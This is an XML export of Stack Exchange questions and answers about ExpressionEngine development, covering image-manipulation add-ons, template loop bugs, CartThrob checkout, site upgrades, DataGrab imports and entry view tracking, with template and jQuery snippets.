  <row Id="5724" PostTypeId="2" ParentId="5648" CreationDate="2013-02-01T21:24:50.423" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;is there any way to prevent the storage of, and/or automatically purge&#xA;  the files in ce_image_remote_dir?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is not a way to accomplish this with the default extension, but you could accomplish this with a custom one to meet your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP has to have a local copy of the image in order to manipulate it. Additionally, it's much faster to check whether or not an image exists on the local server than to perform an http request to check if it exists on S3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're still getting the speed benefits of S3, as the manipulated image is being served from the CDN, as opposed to the local server's filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The S3 extension for CE Image is currently included for no additional charge with the purchase of CE Image. Since you are unhappy with how it works due to the large storage requirements of your site, you could always create a similar extension (using the same hooks) that syncs all of the file data with your local database, and then purges the source and manipulated images from the local server after uploading the later to S3.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2013-02-01T21:24:50.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5726" PostTypeId="1" AcceptedAnswerId="5728" CreationDate="2013-02-01T22:48:42.817" Score="8" ViewCount="782" Body="&lt;p&gt;I've been using the outdated Imgsizr plugin for ages, but now I'm looking to update to something more efficient, etc. It's worth mentioning that I'm using Assets 2 for all uploads, and would eventually like to move all images to an s3 bucket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played around with the native EE &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#image-manipulations&quot;&gt;image manipulation&lt;/a&gt; settings. It seems that it would be much easier to control various image sizes through the native method, especially since I would be able to resize and regenerate all of these thumbnails at once from a centralized location, rather than rely on the first pageview from a user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some pro/cons of using the native method vs using &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot;&gt;CE Image&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2013-02-03T21:39:13.437" Title="Is it more efficient to use native image manipulations or a plugin like CE Image?" Tags="|image|ce-image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5727" PostTypeId="1" AcceptedAnswerId="5885" CreationDate="2013-02-01T23:23:28.450" Score="3" ViewCount="170" Body="&lt;p&gt;On an article page, I'm trying to output &quot;more from this author&quot; using the User add-on from Solspace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there's a bug in the current version that prevents this from working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:entries channel=&quot;articles&quot; status=&quot;open&quot; user_author_id=&quot;1&quot; entry_id=&quot;not 344&quot;}&#xA;    {if count == &quot;1&quot;}&#xA;    // header and opening ul&#xA;    {/if}&#xA;&#xA;        // list items with links to articles&#xA;&#xA;    {if count == total_results}&#xA;    // closing ul&#xA;    {/if}&#xA;{/exp:user:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bug means that &lt;code&gt;entry_id&lt;/code&gt; doesn't work with the &quot;not&quot; in there, so I can't exclude the current entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround is to use PHP, and so I have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $c = 0; ?&amp;gt;&#xA;{exp:user:entries channel=&quot;articles&quot; status=&quot;open&quot; user_author_id=&quot;1&quot; limit=&quot;4&quot;}&#xA;  {if entry_id != &quot;344&quot;}&#xA;    &amp;lt;?php $c++; ?&amp;gt;&#xA;    &amp;lt;?php if($c == 1): ?&amp;gt;&#xA;      &amp;lt;h3&amp;gt;More from this Author&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;ul class=&quot;author-more&quot;&amp;gt;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;?php echo $c ?&amp;gt; &amp;lt;a href=&quot;/article/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;  {/if}&#xA;{/exp:user:entries}&#xA;&amp;lt;?php if($c != 0) :?&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the results I'm getting are odd. I'm getting a list of three articles — the article with the id of 344 is being correctly omitted — but I'm not getting the header and open &lt;code&gt;ul&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm echoing &lt;code&gt;$c&lt;/code&gt; in there, and what results is a list of three articles numbered 2, 3, 4. It seems like &lt;code&gt;$c&lt;/code&gt; is skipping straight from 0 to 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully I'm just doing something dumb...&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2013-02-05T22:10:34.423" Title="PHP inside a User loop — what am I doing wrong?" Tags="|add-on|php|solspace-user|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5728" PostTypeId="2" ParentId="5726" CreationDate="2013-02-01T23:25:02.963" Score="19" Body="&lt;p&gt;I'm the author of CE Image and a long-time EE user. I'll try to be impartial in my response, as both methods definitely have pros and cons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Native Pros&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The manipulations happen 1 time, up front.&lt;/li&gt;&#xA;&lt;li&gt;You can regenerate the images anytime you need.&lt;/li&gt;&#xA;&lt;li&gt;You can set up multiple sizes.&lt;/li&gt;&#xA;&lt;li&gt;It's free (well, you get it with the EE license).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Native Cons&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the sizes ever change, or the images need to be used at a different size, you will need to regenerate the images.&lt;/li&gt;&#xA;&lt;li&gt;Not as powerful or flexible as CE Image.&lt;/li&gt;&#xA;&lt;li&gt;All of the images in an upload location will be resized to the specified sizes, whether you need them to be or not.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CE Image Pros&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You and your clients don't ever need to go into the control panel setting to generate (or regenerate) images, or segregate lots of different upload locations in order to only size specific images. This is particularly nice when some images may be used in different parts of the site, and you don't want to have to upload them to multiple upload locations.&lt;/li&gt;&#xA;&lt;li&gt;Works with remote images (image URLs from other sites).&lt;/li&gt;&#xA;&lt;li&gt;You can customize and resize images only when/where they're needed, as opposed to which upload directory they happen to be in.&lt;/li&gt;&#xA;&lt;li&gt;You can manipulate the image names, cache directories, etc.&lt;/li&gt;&#xA;&lt;li&gt;Automatically resize images inside WYSIWYG fields (and HTML) using the Bulk tag. So if your clients insert a large image into a WYSIWYG field (or an image from a different site that is large) and scale it down, it will be resized and compressed into a more manageable size.&lt;/li&gt;&#xA;&lt;li&gt;More customization than the native settings. For example, on a photo gallery site, you may want to crop your images from the top, instead of from the center (so you don't decapitate people in the photos).&lt;/li&gt;&#xA;&lt;li&gt;Great image handling and compression.&lt;/li&gt;&#xA;&lt;li&gt;Images are cached, so the image manipulation only has to happen once.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CE Image Cons&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There will be a slower page load the first time an image is manipulated.&lt;/li&gt;&#xA;&lt;li&gt;Will be run on each page load and can result in slightly slower page speeds. This is not too big a deal if you use native tag caching &lt;code&gt;cache=&quot;yes&quot; refresh=&quot;600&quot;&lt;/code&gt;, and virtually eliminated if you use a more robust caching solution.&lt;/li&gt;&#xA;&lt;li&gt;It costs money.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably more pros and cons than I have listed here. Ultimately, the native solution shines because it resizes the images up-front. CE Image shines because of its flexibility and power.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2013-02-01T23:25:02.963" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5729" PostTypeId="2" ParentId="5718" CreationDate="2013-02-01T23:31:35.850" Score="1" Body="&lt;p&gt;You can use the Store custom fields in the email subject, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CONFIRMATION: Publication Order - {order_custom9}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're doing this for a client. The data for the field is filled in by a hidden input, for us. But I imagine there maybe other ways to submit it to Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your promotions aren't always available, you probably want to use an {if statement on whether the promotion is submit to the custom field, and make sure the custom field gets the dash, as well&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Fall Promotion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it would only display if the data was submitted to the field.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-01T23:31:35.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5731" PostTypeId="2" ParentId="5727" CreationDate="2013-02-01T23:41:27.873" Score="3" Body="&lt;p&gt;Oof, that's a lot of ugly PHP to have to add to get around a bug. May I suggest a couple of alternatives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One would be to just fix the bug while you wait for Solspace to release an update. (Ha.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But failing that, use the Query module to grab all of an author's entries and pass them to a standard channel entries loop (which you can then use your standard &lt;code&gt;limit&lt;/code&gt;, &lt;code&gt;orderby&lt;/code&gt;, etc on).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_embeds/_more_by_author&quot; entry_ids=&quot;{exp:query sql=&quot;SELECT DISTINCT entry_id as user_entry_id FROM exp_user_authors WHERE author_id = {author_id} and entry_id != {entry_id}&quot; backspace=&quot;1&quot;}{user_entry_id}|{/exp:query}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Since we're using variables from your currently-displayed entry, this would have to be inside your primary Channel Entries loop.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles&quot; status=&quot;open&quot; entry_id=&quot;{embed:entry_ids}&quot;}&#xA;    {if count == &quot;1&quot;}&#xA;    // header and opening ul&#xA;    {/if}&#xA;&#xA;        // list items with links to articles&#xA;&#xA;    {if count == total_results}&#xA;    // closing ul&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-02-05T17:10:54.753" LastActivityDate="2013-02-05T17:10:54.753" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="5732" PostTypeId="1" AcceptedAnswerId="5736" CreationDate="2013-02-01T23:42:42.420" Score="1" ViewCount="53" Body="&lt;p&gt;I've set up a standard exp:member:login form for members-only content. My client has requested that I add a checkbox field that would require users to check before they would be allowed to log in. It doesn't appear that the standard login form allows for &quot;rules:&quot; parameters. I've looked around on Devot-ee, and I haven't seen anything that looks like it would fit the bill. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this using standard EE tags/parameters? Or maybe an add-on that would allow me to add this functionality? If not, do you have suggestions for how I might build this?&lt;/p&gt;&#xA;" OwnerUserId="937" LastActivityDate="2013-02-02T00:32:05.843" Title="Is there a way to require a checkbox field on a Log In form?" Tags="|login|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5733" PostTypeId="1" AcceptedAnswerId="5735" CreationDate="2013-02-01T23:44:08.317" Score="1" ViewCount="67" Body="&lt;p&gt;I am upgrading and redesigning a mid-size, member-driven site from 1.7 to 2.5. I have created a local development environment and upgraded it successfully. Work on the updated templates and so on is happening right now. The question I have is: what will be the best way to merge my changes back into the production site? Obviously, there are database changes between 1 and 2, as well as template tag changes. I will also need to install new add-ons and make other changes that affect the database. Is there any better way to handle this than by manually merging each DB table when I finish? That will work, but it's going to be a huge pain. How have other people handled combination upgrade/redesigns on live sites?&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2013-02-02T00:28:21.057" Title="Upgrading a site from 1.x to 2.x - how to merge back into production?" Tags="|upgrade|deployment|staging-server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5734" PostTypeId="1" AcceptedAnswerId="5748" CreationDate="2013-02-01T23:54:16.927" Score="1" ViewCount="145" Body="&lt;p&gt;I've set up a form on a site for super-admins to check out as other users, , making use of the member_id parameter found here - &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/checkout_form/index.html#member_id&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/checkout_form/index.html#member_id&lt;/a&gt; .  This is being used, essentially, to gift a purchase to these users, who need this purchase to do certain things on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the opening tag I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form &#xA;id=&quot;checkout_form&quot;&#xA;name=&quot;checkout_form&quot;&#xA;return=&quot;/foo/bar&quot;&#xA;gateway=&quot;ct_offline_payments&quot;&#xA;required=&quot;first_name|last_name|phone|address|city|state|zip&quot;&#xA;cart_empty_redirect=&quot;/foo/bar&quot;&#xA;member_id=&quot;{segment_3}&quot;&#xA;price=&quot;0&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I use the checkout form, my orders are going in with the user id of the admin checking out.  I also notice that forum topics on the CT support forums with responses as recent as November, like this one - &lt;a href=&quot;http://cartthrob.com/forums/viewthread/4636/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/forums/viewthread/4636/&lt;/a&gt; - reference a separate extension and custom fields to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have familiarity with doing this, or has used the parameter above effectively?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-02-02T13:26:26.143" Title="CartThrob Checkout as Member" Tags="|cartthrob|ecommerce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5735" PostTypeId="2" ParentId="5733" CreationDate="2013-02-02T00:28:21.057" Score="2" Body="&lt;p&gt;Typically speaking there's two ways to handle this, in both, you do what you've done and run through the upgrade once to get all of it working, templates working, etc.  Then you do one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take the site offline, run through the upgrade again to update the database and all content.  Then copy over your files from the previous upgrade, run any add-on installs and changes you need to, and bring the site back online.&lt;/li&gt;&#xA;&lt;li&gt;Or, take the site offline, run through the upgrade again but use your previous upgrade as the 'master' version, and copy over any new data and members from the newly upgraded site to your master version, then re-launch that one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I really wouldn't recommend trying to merge tables from the EE1 to the EE2 site, that will just be a mess.  On the other hand, there isn't really a super clean way to launch a 1-2 upgrade on a site with a lot of content coming in.&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-02-02T00:28:21.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5736" PostTypeId="2" ParentId="5732" CreationDate="2013-02-02T00:32:05.843" Score="1" Body="&lt;p&gt;Why not just use Javascript to require the field be checked?  That would seem to be the simplest solution to me, since it's just a couple of lines of JS to require it.  It could be gotten around by turning JS off of course, but unless it's legally vital, I wouldn't worry about that too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also, I believe, require custom fields using Profile:Edit or Zoo Visitor if you have either of those installed, since they both build off the SafeCracker tag that allows that.&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-02-02T00:32:05.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5737" PostTypeId="2" ParentId="5575" CreationDate="2013-02-02T01:30:12.990" Score="1" Body="&lt;p&gt;Generally speaking, I've noticed that order can be really important with placing a channel entries loop inside of another tag. I believe the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; info should come right after the &lt;code&gt;{item}&lt;/code&gt; tag. I'm not certain if you need the &lt;code&gt;channel='books'&lt;/code&gt; tag. It should be fine, but try it without first, then if that works, go back and add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having it, generally reduces the number of queries the &lt;code&gt;channels&lt;/code&gt; tag needs to make, but since the items embedded, it could cause issues. So start without, then add.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;    {exp:channel:entries entry_id='{entry_id}'} &#xA;    &amp;lt;tr class=&quot;item_row&quot;&amp;gt;&#xA;        &amp;lt;td class=&quot;item&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path='store/product'}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; &amp;lt;/h4&amp;gt;&#xA;            {book_author}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;price&quot;&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;qty&quot;&amp;gt;&amp;lt;input name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;input-mini&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td style=&quot;text-align:right&quot; &amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {/exp:channel:entries}   &#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, it's just that you need the full record outputted for the &lt;code&gt;{items}&lt;/code&gt; tag, which includes the &lt;code&gt;price&lt;/code&gt;, &lt;code&gt;quantity&lt;/code&gt;, and &lt;code&gt;subtotal&lt;/code&gt; lines. Otherwise, your breaking the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give that a try and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-02T01:30:12.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5739" PostTypeId="2" ParentId="5702" CreationDate="2013-02-02T03:51:41.487" Score="2" Body="&lt;p&gt;To troubleshoot forms which are submitting but not displaying errors, you should always remove &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; as a first step (as Justin mentioned). This means all errors will be displayed, in case you have forgotten to template any inline errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify what it sounds like your underlying problem was: If any custom member fields are marked as &quot;required&quot; in the ExpressionEngine member settings, they will be required in FreeMember. When using FreeMember, it's much easier to not make any fields required in the ExpressionEngine member settings - just use the FreeMember validation parameters (such as &lt;code&gt;require=&quot;&quot;&lt;/code&gt;) to make the fields required in your actual registration/update templates.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-02T03:51:41.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5740" PostTypeId="2" ParentId="5708" CreationDate="2013-02-02T03:53:17.297" Score="4" Body="&lt;p&gt;Answering my own question as I think this is useful. Adrian at Expresso helped me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, we output the  menus and also output custom buttons. Then we just hide the  menus with CSS. This presumably avoids writing lots of new custom Javascript or introducing new dependencies to the way the form is processed by Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;http://jsfiddle.net/jmuspratt/CPrYz/3/&quot; rel=&quot;nofollow&quot;&gt;jsFiddle&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- EE/Store code for the &amp;lt;select&amp;gt;s that actually control what gets added to the Cart: --}&#xA;{modifiers}&#xA;    &amp;lt;select id=&quot;{modifier_input_name}&quot; name=&quot;{modifier_input_name}&quot;&amp;gt;&#xA;        {modifier_options}&#xA;            &amp;lt;option value=&quot;{option_id}&quot;&amp;gt;&#xA;            {option_name} {if price_mod_val} ({price_mod}) {/if}&#xA;            &amp;lt;/option&amp;gt;&#xA;        {/modifier_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/modifiers}&#xA;&#xA;&amp;lt;!-- EE/Store code for radio buttons:--&amp;gt;&#xA;{modifiers}&#xA;&#xA;&amp;lt;ul class=&quot;radio-set&quot;&amp;gt;&#xA;&#xA;    {modifier_options}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a class=&quot;radio&quot; data-select=&quot;{modifier_input_name}&quot; data-option-val=&quot;{option_id}&quot; href=&quot;#&quot;&amp;gt;{option_name} {if price_mod_val} ({price_mod}) {/if}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/modifier_options}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jQuery Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&#xA;    // highlight the first button, since it corresponds to the (default) &amp;lt;option&amp;gt; in the &amp;lt;select&amp;gt;&#xA;    $(&quot;ul.radio-set li:first-child a.radio&quot;).addClass(&quot;active&quot;);&#xA;&#xA;&#xA;    // button clicks: we only need the buttons to change the &amp;lt;select&amp;gt;, not the other way around (since the select will be hidden by CSS&#xA;    $('a.radio').click(function() {&#xA;&#xA;        var this_button = $(this);&#xA;        var this_ul = this_button.closest(&quot;ul.radio-set&quot;);&#xA;        var neighbor_buttons = this_ul.find('a.radio');&#xA;&#xA;        // remove highlights from all buttons in this group&#xA;        $(neighbor_buttons).removeClass(&quot;active&quot;);&#xA;&#xA;        // highlight this buton&#xA;        this_button.addClass(&quot;active&quot;);&#xA;&#xA;        // get the corresponding select menu&#xA;        var select_id = $(this_button).data(&quot;select&quot;);&#xA;        var select = &quot;#&quot;+select_id;&#xA;&#xA;        // get the value of the corresponding option&#xA;        var opt_val = $(this_button).data(&quot;option-val&quot;);&#xA;&#xA;        // Update the select menu with the option content and trigger change() for Store&#xA;        $(select).val(opt_val).trigger('change');&#xA;&#xA;        return false;&#xA;&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="489" LastActivityDate="2013-02-02T03:53:17.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5741" PostTypeId="1" AcceptedAnswerId="5742" CreationDate="2013-02-02T03:55:23.890" Score="1" ViewCount="732" Body="&lt;p&gt;I'm having an issue similar to this:&#xA;&lt;a href=&quot;http://brandnewbox.co.uk/forums/viewthread/644/&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/forums/viewthread/644/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting &quot;Error: Cannot open file/url&quot; when I try to configure an XML import. I'm building an XML feed with an EE template and then trying to access it Datagrab via a URL. This works for me locally but not on the production server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I save an XML file, upload it to my server and then get Datagrab to access thru the server file path, it works fine. I just can access from a URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew Weaver mentions in the thread above that PHP might be configured to not allow files to be read over http. Any idea how I could change this setting? Is this something I could fix in a php.ini or .htaccess file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what's going on here? Or if there's a more descriptive error I could find by enabling a debug more or looking in a log file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem started when I upgraded from v1.5.0 to v1.7.5. I'm also on a Media Temple grid server.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-02T03:55:23.890" Title="DataGrab Error: &quot;Cannot open file/url&quot; only on production server" Tags="|xml|datagrab|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5742" PostTypeId="2" ParentId="5741" CreationDate="2013-02-02T03:55:23.890" Score="3" Body="&lt;p&gt;I found the simple solution to this. I just needed to add this line to my .htaccess file to allow PHP to access files across http.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value allow_url_fopen On&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-02T03:55:23.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5743" PostTypeId="2" ParentId="5575" CreationDate="2013-02-02T03:57:10.240" Score="0" Body="&lt;p&gt;It's quite likely this is a problem with parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to check for/avoid parse order issues is to use an embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;    {embed=&quot;store/.checkout_item&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in your &lt;code&gt;store/.checkout_item&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:entry_id}&quot;}&#xA;    {book_author}&#xA;{/exp:channel:entries}      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works because embed tags are parsed after everything else in the template (so you can be sure the &lt;code&gt;{entry_id}&lt;/code&gt; will be passed to that tag correctly). The &lt;code&gt;store/.checkout_item&lt;/code&gt; template is parsed completely separately, so you won't run into any issues caused by nesting too many tags.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-02T03:57:10.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5744" PostTypeId="1" AcceptedAnswerId="5747" CreationDate="2013-02-02T04:48:22.963" Score="3" ViewCount="1116" Body="&lt;p&gt;Say I have a Channel calls &quot;Products&quot; that contain individual product information. Is there a way to set up EE so it can keep count of the number of times the product was viewed in the front end?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-02T06:02:09.503" Title="How to count number of times a channel entry was viewed in frontend?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5745" PostTypeId="1" AcceptedAnswerId="5752" CreationDate="2013-02-02T04:59:29.683" Score="0" ViewCount="132" Body="&lt;p&gt;Is there a way to dynamically create a main navigation (e.g. every template group appears in the main nav)? I want to set up EE so that when the client/user adds pages, they'll appear as either a new item in the navigation, or an item under the navigation, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to avoid having the client/user actually make edits in the templates.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-02T18:42:57.510" Title="Dynamic Main Navigation?" Tags="|templates|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5746" PostTypeId="2" ParentId="5744" CreationDate="2013-02-02T05:57:27.557" Score="0" Body="&lt;p&gt;ExpressionEngine does have an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_tracking.html&quot; rel=&quot;nofollow&quot;&gt;Entry “Views” Tracking Tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's probably better to use something like Google Analytics for this. The problem with counting views from server hits is it will include things like GoogleBot indexing your site, which isn't particularly helpful for telling which page is the most popular. I'm not aware of any plugins which can access the Google Analytics API to return the view count for a particular page, but it's certainly possible, so a plugin may exist, or you could create one.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-02T05:57:27.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5747" PostTypeId="2" ParentId="5744" CreationDate="2013-02-02T06:02:09.503" Score="3" Body="&lt;p&gt;ExpressionEngine has '&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_tracking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;view tracking&lt;/a&gt;' functionality, built into the system, that can be used. Be aware that it can cause a performance hit for &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/handling_extreme_traffic.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;heavy traffic sites&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site receives a lot of traffic, you may wish to turn off (disable) EE's tracking capabilities and use a third party add-on, such as Solspace's &lt;a href=&quot;http://www.solspace.com/software/detail/tracker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tracker.&lt;/a&gt; Tracker has some intelligence involved, and tries to exclude traffic from bots and search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's sample code for using EE's internal &lt;code&gt;view_count&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries 